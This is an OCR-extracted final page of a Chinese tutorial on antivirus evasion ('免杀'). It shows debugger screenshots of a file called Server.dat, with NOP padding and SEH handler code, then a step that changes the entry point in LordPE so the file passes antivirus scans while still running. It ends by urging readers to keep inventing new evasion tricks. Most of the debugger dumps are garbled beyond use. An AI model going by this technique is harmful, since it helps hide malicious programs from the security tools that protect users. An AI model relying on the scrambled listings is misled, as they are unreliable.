0041C00C 64:00 0041C013 00 0041C013 00 0041C018 00 0041C01A 90	225 8888888 M80 0 8688888 m 0 m 备 nt 复	or prints print	EDX 7C	92E514 ntdll.KiF FD7000 12FFC4 12FFF0
0041C00C 61:11 0041C013 00 0041C013 00 0041C018 00	223 8989999 1110 01 988899999 1110 01 111 02 111 02 1110 111 02 111 02 111 02 111 02 111 02 111 02 110 111 02 110 110 110 110 110 110 110 110 110 1	() () () () () () () () () () () () () (EDX 70	92E514 ntdll.KiF FD7000 12FFC4 12FFF0 FFFFFF
0041C00C 64:10 0041C013 HF 0041C018 8886 0041C018 90 0041C012 90 0041C012 90	23 866686 m 6 6 8666686 m 音 n 复 n 二 n 撒	份 制 进制 销选择处修改 A	EDX 70 FDX 70 FD	92E514 ntdll.KiF FD7000 12FFC4 12FFF0 FFFFFF 930228 ntdll.7C9
0041C00C 01:11 0041C013 00 0041C013 00 0041C018 8006 0041C018 90 0041C018 90 0041C018 90 0041C018 90 0041C018 90 0041C018 90 0041C010 90 0041C010 90 0041C010 90 0041C010 90 0041C010 90	23 866666 mm 在 86666666 mm 在 n 复 n 二 n 撤 n 二	份 (制 进制 销选择处修改 A 编(<u>A</u>) S	EDX 70 + + + + + + + + + + + + +	92E514 ntdll.KiF FD7000 12FFC4 12FFF0 FFFFF 930228 ntdll.7C9 418CA0 Server. <p< th=""></p<>
0041C00C 01:11 0041C013 00:00 0041C018 00:00 0041C018 00:00 0041C018 00:00 0041C018 00:00 00:00 0:00 00:01 0:00 00:01 0:00 00:01 0:00 00:01 0:00 00:01 0:00 00:01 0:00 00:04 0:01 00:04 0:01	23 866666 m 6 0 86666668 m 音 n 复 n 二 n 流 n 汇 n 汇	份 制 进制 辅选择处修改 A 编(<u>A</u>) S 鉴 :	EDX 70 + + + + + + + + + + + + +	92E514 ntdll.KiF FD7000 12FFC4 12FFF0 FFFFFF 930228 ntdll.7C9 418CA0 Server. <m S 0023 32位 0(FF</m
0041C00C 01:11 0041C013 00:00 0041C013 00:00 0041C018 00:00 0041C018 00:00 0041C018 90 0041C018 90 0041C010 90 0041C010 90 0041C011 90 0041C012 90 0041C015 90 0041C016 90 0041C017 90 0041C018 90 0041C015 90 0041C016 90 0041C017 90 0041C018 90	5666666 5666666	份 制 进制 输选择处修改 A 编(<u>A</u>) S 滚 : 释 ; ;5(0)	EDX 70 FRV 70	92E514 ntdll.KiF FD7000 12FFC4 12FFC5 FFFFF 930228 ntdll.7C9 418CA0 Server. <m S 0023 32位 0(FF S 001B 32位 0(FF</m
0041C00C 01:11 0041C013 00 0041C018 00 0041C018 00 0041C018 90 0041C018 90 0041C018 90 0041C018 90 0041C018 90 0041C011 90 0041C012 90 0041C015 90 0041C016 90 0041C017 90 0041C018 90 0041C018 90 0041C017 90 0041C018 90 0041C017 90 0041C020 90 0041C021 90	23 898888 mm 6 mm 6 8888888 mm 6 mm 6 mm 6 mm	份 制 进制 辅选择处修改 A 編(A) S 鉴 : 释 ; 派释 ; 点(P) □ 및宪	EDX 70	92E514 ntdll.KiF FD7000 12FFC4 12FFF0 FFFFF 930228 ntdll.7C9 418CA0 Server.< S 0023 32位 0(FF S 001B 32位 0(FF S 0023 32位 0(FF
0041C00C 01:11 0041C013 0E 0041C018 0E 0041C018 0E 0041C018 0E 0041C018 90 0041C018 90 0041C018 90 0041C018 90 0041C011 90 0041C012 90 0041C015 90 0041C016 90 0041C017 90 0041C018 90 0041C019 90 0041C019 90 0041C019 90 0041C02 90 0041C02 90 0041C022 90 0041C023 90	8666666 8666666	份)制 进制 编(<u>A</u>) A 编(<u>A</u>) S 滚 : 释 ; 派(<u>P</u>) JN 跟踪	EDX 70 + + + + + + + + + + + + +	92E514 ntdll.KiF FD7000 12FFC4 12FFF9 FFFFFF 930228 ntdll.7C9 418CA0 Server. <p S 0023 32位 0(FF S 001B 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF</p
0041C00C 01:1 0041C013 00:0 0041C018 00:0 0041C018 00:0 0041C018 00:0 0041C018 90 0041C018 90 0041C010 90 0041C011 90 0041C012 90 0041C015 90 0041C016 90 0041C017 90 0041C018 90 0041C019 90 0041C020 90 0041C021 90 0041C022 90 0041C023 90 0041C024 90	8666666 8666666 日 日 日 日 日 日 日 日 日 日 日 日	份 制 进制 辅选择处修改 A 编(A) S 滚 : 深 : 注(P) JN 跟踪 效为新 EIP C	EDX 70 Ht+BkSp pace	92E514 ntdll.KiF FD7000 12FFC4 12FFC4 12FFF0 FFFFF 930228 ntdll.7C9 418CA0 Server.<か S 0023 32位 0(FF S 001B 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF S 003B 32位 7FFD S 003B 32位 7FFD
0041C00C 01:10 0041C013 00:00 0041C018 00:00 0041C018 00 0041C018 00 0041C018 90 0041C018 90 0041C018 90 0041C018 90 0041C018 90 0041C019 90 0041C018 90 0041C019 90 0041C020 90 0041C021 90 0041C023 90 0041C024 90 0041C024 90 0041C024 90	23 86688 m 备 8666888 m 备 n 1 二 n 1 撒 n 1 元 n 元 n 元 n 元 n 元 n 元 n 元 n 元 元 元 元 元 元	份 制 进制 输选择处修改 A 编(<u>A</u>) S 鉴 : 释 ; 注(<u>P</u>) JN 跟踪 处为新 EIP C	EDX 70 Ht+BkSp space	92E514 ntdll.KiF FD7000 12FFC4 12FFC4 12FFF0 FFFFF 930228 ntdll.7C9 418CA0 Server.< 5 0023 32位 0(FF S 001B 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF S 0023 32位 7FFD S 003B 32位 7FFD S 0000 NULL
0941C09C 01:11 0941C013 00:00 0941C018 00:00 0941C018 00:00 0941C018 00:00 0941C018 00:00 0941C018 00:00 0941C011 00 0941C012 00 0941C015 90 0941C016 90 0941C017 90 0941C018 90 0941C019 90 0941C020 90 0941C021 90 0941C023 90 0941C024 90 0941C024 90 0941C024 90 0941C024 90	23 866686 m	份 (制 进制 辅选择处修改 A 編(A) S 鎏 : 释 ; 近(P) JN 跟踪 处为新 EIP C 到 细窗口中跟随	EDX 70 Ht+BkSp space	92E514 ntdll.KiF FD7000 12FFC4 12FFF9 FFFFF 930228 ntdll.7C9 418CA0 Server.< 5 0023 32位 0(FF S 001B 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF S 0028 32位 7FF0 S 0000 NULL
0041C00C 01:1 0041C013 00:0 0041C018 00:0 0041C018 00:0 0041C018 00:0 0041C018 90 0041C018 90 0041C010 90 0041C011 90 0041C012 90 0041C014 90 0041C015 90 0041C016 90 0041C017 90 0041C020 90 0041C021 90 0041C023 90 0041C024 90 0012FFC4 7C817 0012FFC8 7C936 0012FFCC FFFFF	20000000 20000000 日本 20000000 日本 20000000 日本 20000000 日本 200000000 日本 200000000 日本 200000000 日本 200000000 日本 200000000 日本 200000000 日本 200000000 日本 200000000 日本 200000000 日本 200000000 日本 200000000 日本 200000000 日本 200000000 日本 200000000 日本 20000000 日本 20000000 日本 20000000 日本 20000000 日本 20000000 日本 20000000 日本 20000000 日本 20000000 日本 20000000 日本 20000000 日本 20000000 日本 20000000 日本 20000000 日本 20000000 日本 20000000 日本 20000000 日本 2000000000 日本 200000 1	份 制 进制 销选择处修改 A 编(A) S 滚 : 深 : 注(P) JN 跟踪 效为新 EIP C 到 据窗口中跟随 :找(S)	EDX 70	92E514 ntdll.KiF FD7000 12FFC4 12FFF0 FFFFFF 930228 ntdll.7C9 418CA0 Server.<か S 0023 32位 0(FF S 001B 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF S 003B 32位 7FFD S 0030 NULL
0041C00C 01:11 0041C013 0C 0041C013 0C 0041C018 0E 0041C018 0E 0041C018 0E 0041C018 90 0041C010 90 0041C011 90 0041C012 90 0041C01F 90 0041C01F 90 0041C020 90 0041C022 90 0041C023 90 0041C024 90 0012FFC8 7C930 0012FFC9 7FFD7	3000000 9000000	份 制 进制 销选择处修改 A 编(A) S 滚 : 深 : 注释 ; 点(P) JN 跟踪 处为新 EIP C 强 指窗口中跟随 :我(<u>S</u>) :我参考(<u>B</u>)	EDX 70 Ht+BkSp space	92E514 ntdll.KiF FD7000 12FFC4 12FFF0 FFFFF 930228 ntdll.7C9 418CAO Server.< S 0023 32位 0(FF S 001B 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF S 003B 32位 7FFD S 0000 NULL
0041C00C 01:1 0041C013 00:0 0041C018 00:0 0041C018 00:0 0041C018 00:0 0041C018 00:0 0041C018 00:0 0041C011 00:0 0041C012 00:0 0041C011 90:0 0041C011 90:0 0041C011 90:0 0041C020 90:0 0041C021 90:0 0041C023 90:0 0041C024 90:0 0012FFC8 7C930:0 0012FFC00 7FFD7 M1 M2 M3	80000000 80000000 日 日 日 日 日 日 日 日 日 日 日	份 (制) 进制 (補)选择处修改 A (編(A) S (編(A) S) S (編(A) S (編(A) S (編(A) S (編(A) S) S (編(A) S (編(A) S (編(A) S) S (編(A) S (編(A) S) S (編(A) S (編(A) S) S (編(A) S (編(A) S) S (編(A) S) S (編(A) S (編(A) S) S (編(A) S) S (((((((((((((((((((((((((((((((((EDX 70 Ht+BkSp pace	92E514 ntdll.KiF FD7000 12FFC4 12FFF9 FFFFF 930228 ntdll.7C9 418CA0 Server.<∀ S 0023 32位 0(FF S 001B 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF S 003B 32位 7FFD S 0000 NULL
0041C00C 01:1 0041C013 00:0 0041C018 00:0 0041C018 00:0 0041C018 00:0 0041C018 90 0041C018 90 0041C010 90 0041C011 90 0041C012 90 0041C014 90 0041C015 90 0041C016 90 0041C017 90 0041C020 90 0041C021 90 0041C022 90 0041C023 90 0012FFC4 7C817 0012FFC8 7C936 0912FFC8 7C936 0912FFC9 7FFD7 M1 M2 M3 M1 M2 M4 0041C000 >	3000000 3000000 3000000 3000000 3000000 4	份 制 进制 消选择处修改 A 編(A) S 滚 : 深 : 注(P) JN 跟踪 效为新 EIP C 到 据窗口中跟随 找参考(<u>R</u>) 活 着 制到可执行文件	EDX 70 Ht+BkSp pace	22514 ntdll.KiF FD7000 12FFC4 12FFF0 FFFFFF 930228 ntdll.7C9 418CA0 Server.< 5 0023 32位 0(FF S 001B 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF S 0023 32位 7FFD S 003B 32位 7FFD S 0000 NULL ESP EBP 选择 2000
0041C00C 01:1 0041C013 00:0 0041C018 00:0 0041C018 00:0 0041C018 00:0 0041C018 00:0 0041C018 00:0 0041C010 00:0 0041C011 00:0 0041C012 00:0 0041C014 00:0 0041C015 00:0 0041C020 00:0 0041C022 00:0 0041C023 00:0 0012FFC4 70:817 00:12FFC4 70:817 00:12FFC4 70:93:0 00:12FFC4 70:93:0 00:12FFC4 70:93:0 00:12FFC4 70:93:0 00:12FFC4 70:93:0 00:12FFC0 7FFD7 M1 M2 M3 M1 M2 M4 00410000 > 0041000	300000 300000 300000 3000000 4	份 制 进制 建制 (油)选择处修改 A (編(A) S (編(A) S (編) (本) (本) (本) (本) (本) (本) (本) (本	EDX 70 HIt+BkSp space	22514 ntdll.KiF FD7000 12FFC4 12FFC4 12FFF0 FFFFF 930228 ntdll.7C9 418CA0 Server.< S 0023 32位 0(FF S 001B 32位 0(FF S 0023 32位 0(FF S 003B 32位 7FFD S 0000 NULL ESP EBP 选择 0000
0041C00C 01:10 0041C013 00:00 0041C018 00:00 0041C018 00:00 0041C018 00:00 0041C018 00:00 0041C010 00 0041C011 00 0041C012 00 0041C011 90 0041C011 90 0041C011 90 0041C020 90 0041C021 90 0041C023 90 0041C024 90 0012FFC8 7C930 0012FFC0 FFFFF 0012FF00 7FFD7 M1 M2 M3 M4 M5 0041C000 > 0041C000 >	8000000 8000000 80000000 日 日 日 日 日 日 日 日 日 日 日 日 日	份 制 进制 補选择处修改 A 編(A) S 密 : 定 : 定 : 定 (P) JN 限踪 处力新 EIP C 透 加 電口中跟随 : 找(S) 活着 : 活着 : 制到可执行文件 析 cart FKVMP	EDX 70 h h h h h h h h h h h h h	22514 ntdll.KiF FD7000 12FFC4 12FFF0 FFFFF 930228 ntdll.7C9 418CA0 Server.< 5 0023 32位 0(FF S 001B 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF S 003B 32位 7FF0 S 003B 32位 7FF0 S 0000 NULL
00410000 01:10000 00410018 000410018 00410018 000410018 00410018 0004000 00410018 00 00410018 00 00410018 00 00410018 00 00410018 00 00410019 00 00410019 00 00410029 00 00410021 00 00410023 00 00410024 00 0012FFC4 70817 0012FFC8 70936 0012FF09 7FFD7 M1 M2 M3 M4 M5 00410000 > 0041000	8000000 80000000 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本	份 (制) 进制 (进制) (进制) (注制) (注制) (注) (注) (注) (注) (注) (注) (注) (注) (注) (注	EDX 70 Ht+BkSp pace	22514 ntdll.KiF FD7000 12FFC4 12FFF0 FFFFFF 930228 ntdll.7C9 418CA0 Server.< 5 0023 32位 0(FF S 001B 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF S 003B 32位 7FFD S 0000 NULL ESP EBP 选择 2000 所有修改
0041C09C 01:1 0041C013 01:0 0041C018 01:0 0041C018 00:0 0041C018 00:0 0041C018 90 0041C011 90 0041C012 90 0041C015 90 0041C016 90 0041C017 90 0041C020 90 0041C022 90 0041C023 90 0041C024 90 0012FFC4 7C817 0012FFC8 7C936 0012FFC0 FFFFF 0012FFC0 7FFD7 M1 M2 M3 M1 M2 M3	8000000 80000000 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本 日本	份 制 进制 建制 (油)选择处修改 A 输(A) S 滚 : 深 : 深 : 注释 ; 点(P) JN 跟踪 处为新 EIP C 到 据窗口中跟随 我(S) :我参考(R) : 活 者 "制到可执行文件 析 cart FKVMP (AFicator 行脚本(S)	EDX 70 Ht+BkSp pace	22514 ntdll.KiF FD7000 12FFC4 12FFC4 12FFF0 FFFFF 930228 ntdll.7C9 418CA0 Server.< S 0023 32位 0(FF S 001B 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF S 0023 32位 0(FF S 0023 32位 7FFD S 0000 NULL ■ ESP EBP 选择 0000 所有修改

粘贴就好了,如图7.2.6

第 125页 /共 127页

			图 7.2.7			
暂停	×		H H 2 H -	len	n t w h c	pkbr
📃 文件 (C:\Documents a	nd Setting	s\Administrator\	桌面\Server.dat		
00019000 00019005 00019005 00019019 00019018 00019018 00019018 00019018 00019019 00019019 00019019 00019019 00019025 00019025 00019025 00019029 00019029 00019029	68 A08C4100 64:A1 0000000 50 64:8925 000000 800 800 90 90 90 90 90 90 90 90 90	push 0x418 mov eax, dw push eax mov dword mov esi, 0x mov eax, dw nop nop nop add byte p add byte g add byte p add byte g add byte g	CAD ord ptr fs:[0] 备份 复制 二进制 汇编 查找(S) 保存文件 转到偏格 CPU 数据留口中 Hex 文本 短型 长型 送型 、 送加 指 、 、 、 、 、 、 、 、 、 、 、 、 、	Ctrl+G 查看镜像	eax luord ptr isi,0x0 jax,duord	fs:[0],esp ptr ds:[esi]

图 7.2.8

那么最后还有一步没有完成我们来修改他的入口点,打开我们的 lordPE,修改入口点为 00011C00,如图 7.2.9

路径		PID	镜像基址	镜像大小 ▲	PE 编辑器
8[系统]	[PE 编辑器] - C	\documents a	nd settings\admin	istrator\桌面\123.dal	
(systemroot)	→基本 PE 头信則			0002	确定
17?\c:\windo	入口点: 镜像基址:	00400000	子系统: 区段数目:	0006	保存
點径	镜像大小:	000110000	日期时间标志:	4FCCAEDC	区段
	代码基址:	00001000	部首大小:	00000400 ? +	目录
I	数据基址:	00003000	特別11日: 14月4日:	00000000 2	位置计算器
I	現河介:	00001000	饮疸相: 可递到每十小。	0300	时间标志
I	文件块对齐:	00000200	可选头部大小:	00E0	比较

图 7.2.9

这也就是我们刚刚 SHE 异常的一段了,然后我们保存,好了那么这个程序达到了免杀的目的,同时可以正常运行,免杀是死的人是活的,我们要不断的创新。学会举一反三,那么你 在学免杀的时候才能有所成就!

(全文完)责任编辑: IceSnOw